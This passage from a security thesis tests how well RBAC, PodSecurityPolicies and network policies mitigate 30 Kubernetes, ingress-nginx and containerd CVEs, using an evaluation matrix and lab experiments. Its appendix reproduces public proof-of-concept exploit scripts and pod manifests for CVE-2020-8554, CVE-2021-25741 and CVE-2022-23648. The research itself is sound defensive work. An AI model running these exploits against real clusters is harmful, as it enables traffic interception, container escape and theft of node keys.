to identify threat vectors. For the theoretical analysis, an evaluation matrix was
constructed and CVEs were evaluated from common mitigation strategies. The
matrix includes the privilege level needed for the exploit to work, user, developer,
or admin.

• User: has limited access to the cluster, cannot deploy Kubernetes objects.

• Developer: has access to some parts of cluster, can deploy some Kubernetes
objects

• Admin: has unlimited access to the cluster.

3.2.1 Evaluation matrix
The evaluation matrix is a two-dimensional matrix where one of the dimensions is
the CVEs, the other is common mitigation strategies. A matrix was chosen because
it provided a approchable and systematic way to analyze multiple CVEs for any
number of mitigation strategies. For each CVE and each mitigation strategy the
strategy is theoretically evaluated and either marked as “Exploit works”, “Exploit
fails”, or “Not applicable”. The evaluation is based on the existing documentation
on the CVE attached to the listing. This includes GitHub issues, forum discussions,
research blogs, and more grey literature. As such, the evaluation includes an
evaluation of the system at hand and the attack surface. For each CVE and each
mitigation strategy, the available documentation was read and analyzed, thereafter
an evaluation was conducted, and the matrix cell was filled in.

3.2.2 Evaluated CVEs
For the analysis to be comprehensive, all 20 CVEs from the National Vulnerability
Database that relate to Kubernetes were included in the analysis [59]. One could
argue that most of the CVEs are not relevant because the Kubernetes version
is too old. However, the decision was made to include them anyway as not all
are running the most up-to-date version of Kubernetes (see 2.5.4). Moreover, the
mitigations are relevant if a similar CVE is discovered.

As the evaluation was conducted the realization was made that a large attack
surface was not being analyzed as it existed in the container runtime space. As
such six CVEs for the container runtime containerd were included to cover this
[60]. Moreover, four CVEs for the ingress controller Nginx were included to expand
the scope to Kubernetes ingresses as they are the first point of contact in the case
that the attacker does not have developer access [61].
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3.2.3 Evaluated mitigation strategies
The scope of the thesis allows for a handful of mitigation strategies to be tested.
These strategies should be seen as a basic measure to prevent common attacks
and critical CVEs, not as a silver bullet to stop all threats. Analogous to washing
one’s hands to minimize the chance of infection. The mitigation strategies are
based on the knowledge gained while doing background research in combination
with expertise at Elastisys, they are based on the Elastisys Compliant Kubernetes
mitigation strategies.

PodSecurityPolicies

Two PodSecurityPolicies were evaluated: PodSecurity baseline and PodSecurity
restricted. The baseline policy is the default PodSecurityPolicy shipped with Ku-
bernetes shown in listing A.9, and the restricted policy is shown in listing A.10 in
appendix A.2. The restricted policy restricts the userid of the container processes
from being root, drops capabilities and restricts the usage of hostPath.

Note that PodSecurityPolicies are deprecated from version 1.21 and were dur-
ing the thesis removed in version 1.25 of Kubernetes. However, this deprecation
has resulted in other security issues that are out of scope for this thesis. [62]

Deny by default Network policy

The “deny by default Network policy” is a policy that simply disallows all traffic
except explicitly allowed traffic. It is implemented with the network policy found
in listing 3.1. The policy will deny all incoming and outbound traffic from the
Kubernetes cluster.

Listing 3.1: Deny by default NetworkPolicy
{{- if . Values . denyAllIngressEgress }}

---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:

name: default -deny -all
spec:

podSelector: {}
policyTypes:
- Ingress
- Egress

{{- end }}

Role Based Access Control

The role-based access control policies are designed to limit the access of developers,
and users of the cluster, from accessing resources that they should not have access
to. These are found in Appendix A.1. The roles define users and an admin user,
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the user is granted some privileges and the admin is granted full privileges to the
cluster in all namespaces.

3.3 Experiment Design
To increase confidence in the correctness of the evaluation matrix, we selected a
few CVEs and empirically verified if the mitigation strategies mitigated the CVE.
We selected two Kubernetes CVEs and one for the container runtime containerd.

3.3.1 Kubernetes setup
The experiment was conducted using a Minikube instance running the contain-
erd container runtime. The experiment was conducted on Ubuntu 22.04.1 LTS
installed on a Dell XPS 13 with an 11th Gen Intel® Core™ i7-1165G7 and 16 GB
of RAM.

To set up the experiment a short bash script, seen in appendix A in listing
A.1, was executed with all flags active. The script creates a Minikube cluster and
installs the necessary policies and access rules to conduct the tests. It will also
create a user that has limited privileges, defined by RBAC rules, that is used in
addition to the Minikube user which has more expansive access. Minikube was
used as it is a Kubernetes version made to be run locally on a single computer,
a one-node cluster. Moreover, it has the same security as a standard Kubernetes
cluster and the possibility to implement the mitigation strategies to be tested.

3.3.2 CVEs to test
To test the effectiveness of the mitigations in situ, some CVEs were selected to be
executed in the testing environment. The CVEs that were selected were chosen
from the severity of the Common Vulnerability Scoring System (CVSS) score – a
system that provides a numerical score of severity – and how recent the CVE was,
with a higher CVSS score and more recent date being preferable. The exploits
were first run with the vulnerabilities unmitigated. Thereafter, mitigations were
applied and the exploits rerun.

The evaluation matrix includes 30 CVEs. Out of these CVEs, only the ones
with a CVSS score higher than 5.0 were kept, as to only keep moderate to critical
CVEs, resulting in 25 CVEs. From these CVEs, we wanted CVEs that covered
more than one concept of Kubernetes, e.g. Pods, Services, etc. Out of these, we
selected the ones which have an exploit ready to be used, hence we ended up with
3 CVEs, as listed below. The last requirement – availability of an exploit – was
due to the large amount of time and effort needed to devise an exploit. The CVEs
that were selected to be tested are:

• CVE-2020-8554 2

• CVE-2021-25741 3

2https://nvd.nist.gov/vuln/detail/CVE-2020-8554
3https://nvd.nist.gov/vuln/detail/CVE-2021-25741
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• CVE-2022-23648 4

4https://nvd.nist.gov/vuln/detail/CVE-2022-23648



Chapter 4
Results and Evaluation

In this chapter, the results will be presented and discussed. The results are divided
between the theoretical and experimental parts of the thesis and the analysis will
consequently also be split in the same manner.

4.1 Results
The results are divided into theoretical and practical sections. The theoretical
results consist of an evaluation matrix where CVEs and mitigation strategies are
evaluated and the experimental results of either successful or failed mitigation.

4.1.1 Theoretical
The complete theoretical evaluation is shown in appendix B.1. In this chapter, the
table has been broken into multiple tables. In table 4.1 the legend for the data is
shown.

In table 4.2 the mitigations for Kubernetes are presented. We see that the
bulk of CVEs for Kubernetes is mitigated with RBAC. Some CVEs are mitigated
by using a PodSecurityPolicy. Moreover, we see that the deny-by-default network
policy is not mitigating the execution of CVEs. For Kubernetes, we can see that
in total there are 20 CVEs, three of which are mitigated by PodSecurityPolicies
and one by a deny-by-default ingress network policy. RBAC rules can mitigate
nine CVEs.

The mitigations for Nginx-ingress are presented in table 4.3. We see that Pod-
SecurityPolicies do not affect the ingress, this is because the PodSecurityPolicies

x Exploit works
- Exploit fails
* Not applicable
CVSS v3.0 Score https://nvd.nist.gov/vuln-metrics/cvss
Privilege level 0: admin, 1: developer, 2: User

Table 4.1: Legend for tables: 4.2, 4.3, and 4.4
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RBAC

2020-
8562

3.1 1 x x x x x x x

2021-
25743

3.0 2 x x x x x x x

2021-
25741

8.1 1 - x x x x x x

2021-
25740

3.1 1 x x x x x x -

2021-
25735

6.5 * x x x x x x x

2020-
8554

5.0 1 x x x x x x -

2020-
8563

5.5 1 x x x x x x -

2020-
8557

5.5 1 - - - - x x x

2020-
8555

6.3 1 x - - - x x -

2019-
11254

6.5 1 x x x x x x -

2020-
8552

4.3 1 x x x x x x -

2019-
11250

6.5 1 x x x x x x -

2019-
11248

8.2 1 * * * * * * x

2019-
9946

7.5 * * * * * x x *

2019-
1002100

6.5 1 * * * * * * -

2016-
7075

8.1 1 * * * * * * x

2015-
7561

3.1 1 * * * * * * x

2015-
7528

5.3 2 * * * * - x -

2016-
1906

9.8 1 * * * * x x x

2016-
1905

7.7 1 * * * * * * x

Table 4.2: Evaluation matrix for cpe:2.3:a:kubernetes:kubernetes:-
:*:*:*:*:*:*:*
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RBAC

2021-
25746

7.1 1 * * * * x x -

2021-
25745

8.1 1 * * * * x x -

2021-
25742

7.1 1 * * * * x x -

2020-
8553

5.9 1 * * * * x x -

Table 4.3: Evaluation matrix for cpe:2.3:a:kubernetes:ingress-
nginx:*:*:*:*:*:*:*:*

tested do not have any restrictions that affect the ingress controller pods. Simi-
larly, the deny-ingress policy and deny-egress policy do not affect the NgInx-ingress
as it is the ingress controller that enforces these rules.

As can be seen in table 4.4 the CVEs for containerd are mostly unmitigated
by the common mitigation strategies. However, some CVEs are mitigated by
RBAC and PodSecurityPolicies. In total 2 CVEs are mitigated by the PodSecu-
rityPolicies; CVE-2021-32760 and CVE-2020-15257. These two CVEs can also be
mitigated by RBAC rules. The three other CVEs are not mitigated by any of the
common strategies investigated in this thesis.

4.1.2 Experimental
This section will cover the experimental results and the effects of the mitigation
strategies on the exploit scripts.

CVE-2020-8554

For CVE-2020-8554 a proof of concept for the exploit had been developed by
GitHub user Dviejopomata [63]. The first way of testing the vulnerability was
used, the script is shown in listing B.1 in appendix B.2. When using a user
that has permission to create services the exploit works and the service is started
successfully shown in figure 4.1. In figure 4.2 we see that the server is providing
us with metrics for processes that are in the kube-system namespace, data that
should not be accessible. Moreover, in figure 4.3 we see that all traffic routes are
intercepted and can be accessed from the browser.
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6.3 2 x x x x x x x

2020-
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5.2 2 - x x x * * -

Table 4.4: Evaluation matrix for
cpe:2.3:a:linuxfoundation:containerd:-:*:*:*:*:*:*:*

Figure 4.1: CVE-2020-8554: Running of cve-2020-8554 script
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Figure 4.2: CVE-2020-8554: Accessing privileged process metrics
from web browser

When the RBAC rules are applied and the user does not have access to create
services, the exploit fails. The scripts’ failure to execute is shown in figure 4.4.
The failure to intercept data and display in the web-page is shown in figure 4.5.

CVE-2021-25741
The CVE-2021-25741 script was developed by the GitHub user Betep0k [64].
However, a slight modification to the script was needed. The Python image
quay.io/bitnami/python:3.7-prod was replaced with bitnami/python:3.7 as
the former is no longer provided by bitnami. In figure 4.6 we see the exploit
running against an unmitigated cluster, the exploit succeeds. However, when the
mitigation strategies are applied we see in figure 4.7 that the user does not have
access to create pods and is unable to deploy the malicious pods.

CVE-2022-23648
The CVE-2022-23648 proof of concept was published by GitHub user raesene [65].
A small script was constructed to repeatably run the exploit and check if it suc-
ceeded, shown in listing B.5 in appendix B.2. The script deploys the pod shown
in listing B.4 and waits until it has deployed to run the command that shows
it has access to kubelet keys. In figure 4.8 we see the exploit run and give us
key information back. In figure 4.9 we see that the exploits succeed despite the
PodSecurityPolicy, as was concluded in the theoretical evaluation.

4.2 Evaluation and Discussion
This section will discuss the findings in section 4.1.
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Figure 4.3: CVE-2020-8554: Accessing privileged routes from web
browser
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Figure 4.4: CVE-2020-8554: script fails with RBAC

Figure 4.5: CVE-2020-8554: web retrieval fails with RBAC

Figure 4.6: CVE-2021-25741: Successful execution of exploit

Figure 4.7: CVE-2021-25741: Failure of execution of exploit
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Figure 4.8: CVE-2022-23648: Successful run of exploit in default
configuration

Figure 4.9: CVE-2022-23648: Successful run of exploit with Pod-
SecurityPolicies enabled
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4.2.1 Theoretical evaluation and discussion
The theoretical evaluation shows that for Kubernetes the mitigation strategies are
valuable, but not a one-stop-shop solution. The mitigation strategies can be seen
to mitigate a large portion of CVEs. However, some CVEs are not mitigated. This
can be because they circumvent mitigations – such as a bug in how PodSecurity-
Policies are handled – or it could be mitigated by other measures not investigated
in this thesis. This could include Admission Controllers such as OPA Gatekeeper
which provide fine-grained control over policies and policy enforcement. Other
tools such as container scanning and YAML validation are mitigation strategies
not included in this thesis.

The findings are in line with what one would hypothesize at first glance. The
mitigations that are the most preventive for Kubernetes are the RBAC rules. The
reason for this is that most of the CVEs for Kubernetes are related to access to re-
sources that should be restricted, for example, the creation of Services. Moreover,
the PodSecurityPolicy mitigations are naturally only affecting Pods and contain-
ers, these CVEs are most often reported against the container runtime itself e.g.
containerd.

4.2.2 Experimental evaluation and discussion
The experiments performed were conducted with publicly available Proofs of con-
cepts with minimal changes. This confirms that an attacker with limited resources
could exploit an unmitigated cluster. However, the exploits were directed toward
an old Kubernetes version. Version 1.20 as was used in the experiments is no
longer supported, this, of course, makes the experiments less representative of a
real-world scenario. However, the real-world application of the exploits is not the
main question. The central question is the question of validity and verification
of the theoretical analysis, i.e. does the mitigation strategies work as predicted?
This question is indeed answered regardless of the underlying Kubernetes version,
the mitigations should work regardless. As for the validity of the analysis we see
that the exploits work as predicted in the theoretical analysis for these exploits,
this indicated that the rest of the analysis at least has some validity.

4.2.3 Threats to validity
The main threat to validity is the misjudgment of a given mitigation strategy
on any given CVE. This would result in an error in the theoretical analysis and
misrepresentation of the success of the mitigation strategy. However, while the
error could affect the judgment of any one of the CVEs the central point of the
thesis is the general pattern of mitigation. As such the threat is mitigated through
the analysis of multiple CVEs, as has been done.

Note also that the analysis might not apply to all clusters. The general Kuber-
netes cluster has a lot of moving parts and the cluster provider or cloud provider
might have their own security policies in place, providing more protection than a
bare metal Kubernetes cluster as tested in this thesis.

A threat to the experimental part of the thesis is the fact that the version of
Kubernetes used is no longer supported. However, the mitigations should apply
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equally to new CVEs of the same type and as such could protect a new cluster the
same way as an old one.



Chapter 5
Conclusion and Future Work

5.1 Conclusion
Firstly, it is important to note that while the mitigation strategies are protective
measures they should not be seen as a silver bullet. Most CVEs are not stopped by
the mitigation strategies but rather are a result of bugs in the software resulting in
circumvention of policies or restrictions. One should therefore view the mitigation
strategies as measures that prevent unrestricted access, or a hygiene routine that
prevents malicious users from accessing data or resources without resorting to
more advanced hacking.

Furthermore, the results might not be surprising. PodSecurityPolicies are not
efficient at protecting Kubernetes as such, but rather container runtime breakouts.
RBAC will mitigate CVEs that affect the misuse of resource creation. However,
verifying such intuitions systematically is paramount to be able to claim that
mitigation strategies are effective.

We conclude that the research questions in 1.2 are answered thusly. RQ.1:
for Kubernetes proper, the main area of concern is the malicious deployment of
Pod, Services, and other resources. Moreover, the software spans a wide range
and includes not only Containers but also Services, Ingress objects, and Container
Networks. RQ.2: The effectiveness of common mitigation strategies is in general
not enough to protect the cluster from all malicious activity. Out of 30 CVEs in
this study 17 were prevented by the common mitigation strategies. However, they
provide a solid base on which to build a more robust security solution, in paticular
RBAC and PodSecurityPolicies were effective. They prevent easy access to secret
or critical resources and force an adversary to expand their approach from simple
to advanced to circumvent these measures.

5.2 Future Work
There are still unanswered questions regarding how effective the future mitiga-
tions that replace PodSecurityPolicies, AdmissionControllers, and PodSecurityS-
tandards are. Moreover, the work could be expanded upon with an analysis of
how these co-exist and how the mitigations work together to provide protection.

The translation of PodSecurityPolicies to these future mitigations might cause

37
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some translation errors, an investigation into how these overlap and if the new
functions are sufficient would be interesting. Furthermore, an analysis of how
well AdmissionControllers mitigate CVEs in a similar systematic way would be
interesting.
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Appendix A
Cluster setup

Listing A.1: Short bash script for repeatable setup
#!/ usr/bin/env bash

help_function () {
echo ’Flags:’
echo ’-c:␣Clears␣the␣previous␣config␣with␣"minikube␣

delete"’
echo ’-k:␣Run␣cluster␣setup’
echo ’-i:␣Run␣helmfile␣apply␣to␣install␣resources ’
echo ’-h:␣Display␣this␣help’

}

clear_prec () {
# Clear any minikube config if clear passed flag is
echo ’Clearing␣old␣cluster ....’
minikube delete
kind delete cluster
echo ’Old␣cluseter␣Cleared!’

}

create_cluster () {
#kind create cluster
echo "Setting␣up␣cluster ..."
minikube start --container -runtime=containerd --

extra -config=apiserver.enable -admission -plugins=
PodSecurityPolicy --addons=pod -security -policy --
kubernetes -version=v1.20.0 --docker -env NO_PROXY=
$NO_PROXY

}

create_user () {
rm -r user1_cred
mkdir user1_cred && cd user1_cred
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openssl genrsa -out user1.key 2048
openssl req -new -config ../ user1_config.cnf -

key user1.key -out user1.csr
openssl x509 -req -in user1.csr -CA ~/. minikube/

ca.crt -CAkey ~/. minikube/ca.key -
CAcreateserial -out user1.crt -days 500

kubectl config set -credentials user1 --client -
certificate=user1.crt --client -key=user1.key

kubectl config set -context user1 -context --
cluster=minikube --user=user1

cd ..
}

run_helm_install () {
#helm upgrade --install thesis thesis /
kubectl apply -f https :// github.com/cert -manager/

cert -manager/releases/download/v1 .9.1/cert -
manager.yaml

cd helmfile && helmfile apply
kubectl config use -context user1 -context

}

while getopts "auckih" flag
do

case "${flag}" in
a)

clear_prec
create_cluster
create_user
run_helm_install
;;

u) create_user ;;
c) clear_prec ;;
k) create_cluster ;;
i) run_helm_install ;;
h)

help_function
exit 0;;

*)
help_function
exit 1
;;

esac
done
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A.1 RBAC

Listing A.2: Cluster admin rolebinding
# Managed by compliantkubernetes -apps
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:

name: user -admin -cluster -wide -delegation
roleRef:

apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user -admin -cluster -wide -delegation

subjects:
{{- range $user := .Values.users }}
- apiGroup: rbac.authorization.k8s.io

kind: User
name: {{ $user }}

{{- end }}
{{- range $group := $.Values.groups }}
- apiGroup: rbac.authorization.k8s.io

kind: Group
name: {{ $group }}

{{- end }}

Listing A.3: Cluster user-view rolebinding
---

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:

name: user -view
roleRef:

apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user -view

subjects:
{{- range $user := .Values.users }}
- apiGroup: rbac.authorization.k8s.io

kind: User
name: {{ $user }}

{{- end }}
{{- range $group := $.Values.groups }}
- apiGroup: rbac.authorization.k8s.io

kind: Group
name: {{ $group }}

{{- end }}
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Listing A.4: Cluster admin delegation role
# Managed by compliantkubernetes -apps
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:

name: user -admin -cluster -wide -delegation
rules:
- apiGroups:

- rbac. authorization .k8s.io
resources:
- clusterrolebindings
resourceNames:
- extra -user -view
verbs:
- get
- list
- watch
- update
- patch

Listing A.5: Cluster admin role
# This ClusterRole contains privileges needed for using

Prometheus .
# E.g. the user should be able to create ServiceMonitors

in order to
# make Prometheus scrape metrics from their apps.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:

name: user -admin
labels:

# Add these permissions to the "admin" role.
rbac. authorization .k8s.io/aggregate -to -admin: "true"

rules:
- apiGroups: ["monitoring.coreos.com"]

resources: ["servicemonitors", "podmonitors", "
prometheusrules", "probes"]

verbs: ["get", "list", "watch", "create", "update", "
patch", "delete"]

Listing A.6: Cluster user-view role
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:

name: user -view
rules:
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- apiGroups: [""]
resources: ["nodes","namespaces","persistentvolumes"]
verbs: ["get", "watch", "list"]

- apiGroups: ["metrics.k8s.io"]
resources: ["pods","nodes"]
verbs: ["get", "watch", "list"]

- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "watch", "list"]

- apiGroups: ["cert -manager.io"]
resources: ["clusterissuers"]
verbs: ["get", "watch", "list"]

Listing A.7: Admin workload Rolebinding
{{- range $namespace := .Values.namespaces }}

---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:

name: workload -admin
namespace: {{ $namespace }}

roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: admin

subjects:
{{- range $user := $.Values.users }}
- apiGroup: rbac.authorization.k8s.io

kind: User
name: {{ $user }}

{{- end }}
{{- range $group := $.Values.groups }}
- apiGroup: rbac.authorization.k8s.io

kind: Group
name: {{ $group }}

{{- end }}
{{- end }}

Listing A.8: user1 rolebinding
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:

name: pod -reader
rules:
- apiGroups: [""] # "" indicates the core API group

resources: ["pods"]
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verbs: ["get", "watch", "list"]

A.2 PodSecurityPolicy

Listing A.9: Baseline PodSecurityPolicy
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: privileged
annotations:

seccomp . security .alpha. kubernetes .io/
allowedProfileNames: ’*’

spec:
privileged: true
allowPrivilegeEscalation: true
allowedCapabilities:
- ’*’
volumes:
- ’*’
hostNetwork: true
hostPorts:
- min: 0

max: 65535
hostIPC: true
hostPID: true
runAsUser:

rule: ’RunAsAny ’
seLinux:

rule: ’RunAsAny ’
supplementalGroups:

rule: ’RunAsAny ’
fsGroup:

rule: ’RunAsAny ’

Listing A.10: Restricted PodSecurityPolicy
{{- if . Values . createPodSecurityPolicyRestricted }}
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:

annotations:
# app. kubernetes .io/managed -by: "Helm"
# meta.helm.sh/release -name: "pod -sec"
# meta.helm.sh/release - namespace : "kube - system "
namespace: "restricted"
apparmor . security .beta. kubernetes .io/

allowedProfileNames: runtime/default



Cluster setup 51

apparmor . security .beta. kubernetes .io/
defaultProfileName: runtime/default

kubectl . kubernetes .io/last -applied - configuration: |
{"apiVersion":"policy/v1beta1","kind":"

PodSecurityPolicy","metadata":{"annotations":{"
apparmor.security.beta.kubernetes.io/
allowedProfileNames":"runtime/default","
apparmor.security.beta.kubernetes.io/
defaultProfileName":"runtime/default","seccomp.
security.alpha.kubernetes.io/
allowedProfileNames":"docker/default ,runtime/
default","seccomp.security.alpha.kubernetes.io/
defaultProfileName":"runtime/default"},"labels"
:{"addonmanager.kubernetes.io/mode":"Reconcile"
},"name":"restricted"},"spec":{"
allowPrivilegeEscalation":false ,"fsGroup":{"
ranges":[{"max":65535,"min":1}],"rule":"
MustRunAs"},"hostIPC":false ,"hostNetwork":false
,"hostPID":false ,"privileged":false ,"
readOnlyRootFilesystem":false ,"
requiredDropCapabilities":["ALL"],"runAsGroup"
:{"ranges":[{"max":65535,"min":1}],"rule":"
MustRunAs"},"runAsUser":{"rule":"
MustRunAsNonRoot"},"seLinux":{"rule":"RunAsAny"
},"supplementalGroups":{"ranges":[{"max":65535,
"min":1}],"rule":"MustRunAs"},"volumes":["
configMap","emptyDir","projected","secret","
downwardAPI","persistentVolumeClaim"]}}

seccomp . security .alpha. kubernetes .io/
allowedProfileNames: docker/default ,runtime/
default

seccomp . security .alpha. kubernetes .io/
defaultProfileName: runtime/default

creationTimestamp: "2022 -02 -28 T14 :02:44Z"
labels:

addonmanager . kubernetes .io/mode: Reconcile
name: elastisys -restricted
resourceVersion: "16006530"
uid: 16d5c988 -3690 -4e1b -9c47 -0916 e4ae5358

spec:
allowPrivilegeEscalation: false
fsGroup:

ranges:
- max: 65535

min: 1
rule: MustRunAs

requiredDropCapabilities:
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- ALL
runAsGroup:

ranges:
- max: 65535

min: 1
rule: MustRunAs

runAsUser:
rule: MustRunAsNonRoot

seLinux:
rule: RunAsAny

supplementalGroups:
ranges:
- max: 65535

min: 1
rule: MustRunAs

volumes:
- configMap
- emptyDir
- projected
- secret
- downwardAPI
- persistentVolumeClaim

{{- end }}
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PodSecurityPolicy restricted

CPE CVE (Count: 30) CVSS v3.0 Score Priviledge level non-root drop most capabilities HostPath drop all capabilities
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2020-8562 3.1 1 x x x x
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2021-25743 3.0 2 x x x x
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2021-25741 8.1 1 - x x x
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2021-25740 3.1 1 x x x x
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2021-25735 6.5 * x x x x
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2020-8554 5.0 1 x x x x
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2020-8563 5.5 1 x x x x
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2020-8557 5.5 1 - - - -
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2020-8555 6.3 1 x - - -
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2019-11254 6.5 1 x x x x
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2020-8552 4.3 1 x x x x
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2019-11250 6.5 1 x x x x
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2019-11248 8.2 1 * * * *
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2019-9946 7.5 * * * * *
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2019-1002100 6.5 1 * * * *
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2016-7075 8.1 1 * * * *
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2015-7561 3.1 1 * * * *
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2015-7528 5.3 2 * * * *
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2016-1906 9.8 1 * * * *
cpe:2.3:a:kubernetes:kubernetes:-:*:*:*:*:*:*:*CVE-2016-1905 7.7 1 * * * *
cpe:2.3:a:kubernetes:ingress-nginx:*:*:*:*:*:*:*:*CVE-2021-25746 7.1 1 * * * *
cpe:2.3:a:kubernetes:ingress-nginx:*:*:*:*:*:*:*:*CVE-2021-25745 8.1 1 * * * *
cpe:2.3:a:kubernetes:ingress-nginx:*:*:*:*:*:*:*:*CVE-2021-25742 7.1 1 * * * *
cpe:2.3:a:kubernetes:ingress-nginx:*:*:*:*:*:*:*:*CVE-2020-8553 5.9 1 * * * *
cpe:2.3:a:linuxfoundation:containerd:-:*:*:*:*:*:*:*CVE-2022-31030 5.5 1 x x x x
cpe:2.3:a:linuxfoundation:containerd:-:*:*:*:*:*:*:*CVE-2022-23648 7.5 1 x x x x
cpe:2.3:a:linuxfoundation:containerd:-:*:*:*:*:*:*:*CVE-2021-41103 7.8 1 x x x x
cpe:2.3:a:linuxfoundation:containerd:-:*:*:*:*:*:*:*CVE-2021-32760 6.3 2 x x - x
cpe:2.3:a:linuxfoundation:containerd:-:*:*:*:*:*:*:*CVE-2021-21334 6.3 2 x x x x
cpe:2.3:a:linuxfoundation:containerd:-:*:*:*:*:*:*:*CVE-2020-15257 5.2 2 - x x x

AVG CVSS: 6.21 Success rate 0.5 0.533 0.5 0.533
Prevention rate 0.1 0.067 0.1 0.067
Nr. success 15 16 15 16
Nr. failures 3 2 3 2



Deny by default NetworkPolicy

no ingress network traffic no egress network traffic RBAC Success rate Prevention rate Legend
x x x 1 0 x Exploit works

x x x 1 0 - Exploit fails

x x x 0.857 0.143 * Not applicable

x x - 0.857 0.143 Sucess rate # Successful / # Total tries
x x x 1 0 Prevention rate # Prevented / # Total tries
x x - 0.857 0.143 CVSS v3.0 Score https://nvd.nist.gov/vuln-metrics/cvss
x x - 0.857 0.143 Priviledge level 0: admin, 1: developer, 2:  User
x x x 0.429 0.571
x x - 0.429 0.571
x x - 0.857 0.143
x x - 0.857 0.143
x x - 0.857 0.143
* * x 0.143 0
x x * 0.286 0
* * - 0 0.143
* * x 0.143 0
* * x 0.143 0
- x - 0.143 0.286
x x x 0.429 0
* * x 0.143 0
x x - 0.286 0.143
x x - 0.286 0.143
x x - 0.286 0.143
x x - 0.286 0.143
* * x 0.714 0
* * x 0.714 0
* * x 0.714 0
* * - 0.429 0.286
x x x 1 0
* * - 0.429 0.286

0 0
0 0
0 0
0 0
0 0
0 0
0 0
0 0

0.633 0.667 0.467 0.432
0.033 0 0.5 0.098

19 20 14
1 0 15
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B.2 Experiemental data and scripts

Listing B.1: Bash script for executing CVE-2020-8554
#!/ bin/bash

kubectl apply -f - <<’EOF’
apiVersion: v1
kind: Namespace
metadata:

name: kubeproxy -mitm
---
apiVersion: apps/v1
kind: Deployment
metadata:

name: echoserver
namespace: kubeproxy -mitm

spec:
replicas: 1
selector:

matchLabels:
app: echoserver

template:
metadata:

labels:
app: echoserver

spec:
containers:
- image: gcr.io/google_containers/echoserver :1.10

name: echoserver
ports:
- name: http

containerPort: 8080
- name: https

containerPort: 8443
EOF

kubectl apply -f - <<’EOF’
apiVersion: v1
kind: Service
metadata:

name: mitm -lb
namespace: kubeproxy -mitm

spec:
ports:
- name: http

port: 80
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targetPort: 8080
- name: https

port: 443
targetPort: 8443

selector:
app: echoserver

externalIPs:
- 8.8.8.8

type: LoadBalancer
EOF

kubectl proxy --port =8080

curl -k -v -XPATCH -H "Accept:␣application/json" -H "
Content -Type:␣application/merge -patch+json" ’http
://127.0.0.1:8080/ api/v1/namespaces/kubeproxy -mitm/
services/mitm -lb/status ’ -d ’{" status ":{" loadBalancer
":{" ingress ":[{"ip ":"8.8.8.8"}]}}} ’

# check external IP
kubectl get svc -n kubeproxy -mitm

Listing B.2: Bash script for executing CVE-2020-2021-25741
#!/ bin/sh

while [ 1 -lt 2 ]
do

kubectl apply -f pod.yaml;
sleep 10; # you can change it if 10 second is

not enough for deploy in your cluster
listing=$(kubectl logs cve202125741 mount -

container);
if [ "$listing" = "" ];
then

echo ’Bad␣attempt.␣Trying␣one␣more␣time.
’;

kubectl delete -f pod.yaml;
else

echo $listing;
echo ’Success!’;
exit;

fi
done

Listing B.3: Pod deployed by CVE-2020-2021-25741
apiVersion: v1
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kind: Pod
metadata:

name: cve202125741
spec:

containers:
- name: prep -symlink

image: "bitnami/python :3.7"
command: ["/bin/sh", "-ec", "mkdir␣/mnt/data/symlink

-door;␣ln␣-s␣/␣/mnt/data/qweqwe;␣echo␣ ’[STRING␣
OMITED␣DUE␣TO␣LATEX␣ERRORS␣SEE␣SOURCE␣FOR␣
COMPLETE␣COMMAND]’␣|␣base64␣-d␣>␣renameat2;␣chmod
␣+x␣renameat2;␣while␣true;␣do␣./ renameat2␣-e␣/mnt
/data/symlink -door␣/mnt/data/qweqwe;␣done"]

volumeMounts:
- name: my -volume

mountPath: /mnt/data
- name: mount -container

image: "bitnami/python :3.7"
command: ["/bin/sh", "-ec", "ls␣/mnt/data;␣sleep␣

999999"]
volumeMounts:
- mountPath: /mnt/data

name: my -volume
subPath: symlink -door

volumes:
- name: my -volume

emptyDir: {}

Listing B.4: Pod deployed by CVE-2020-2022-23648
apiVersion: v1
kind: Pod
metadata:

name: poctest
spec:

containers:
- name: poctest

image: ghcr.io/raesene/cve -2022 -23648 - poc:v1
command: ["/bin/bash", "-c", "--"]
args: [ "while␣true;␣do␣sleep␣30;␣done" ]

Listing B.5: Bash script for executing CVE-2022-23648
echo "Testing␣CVE -2022 -23648"
echo "Deploying␣pod"
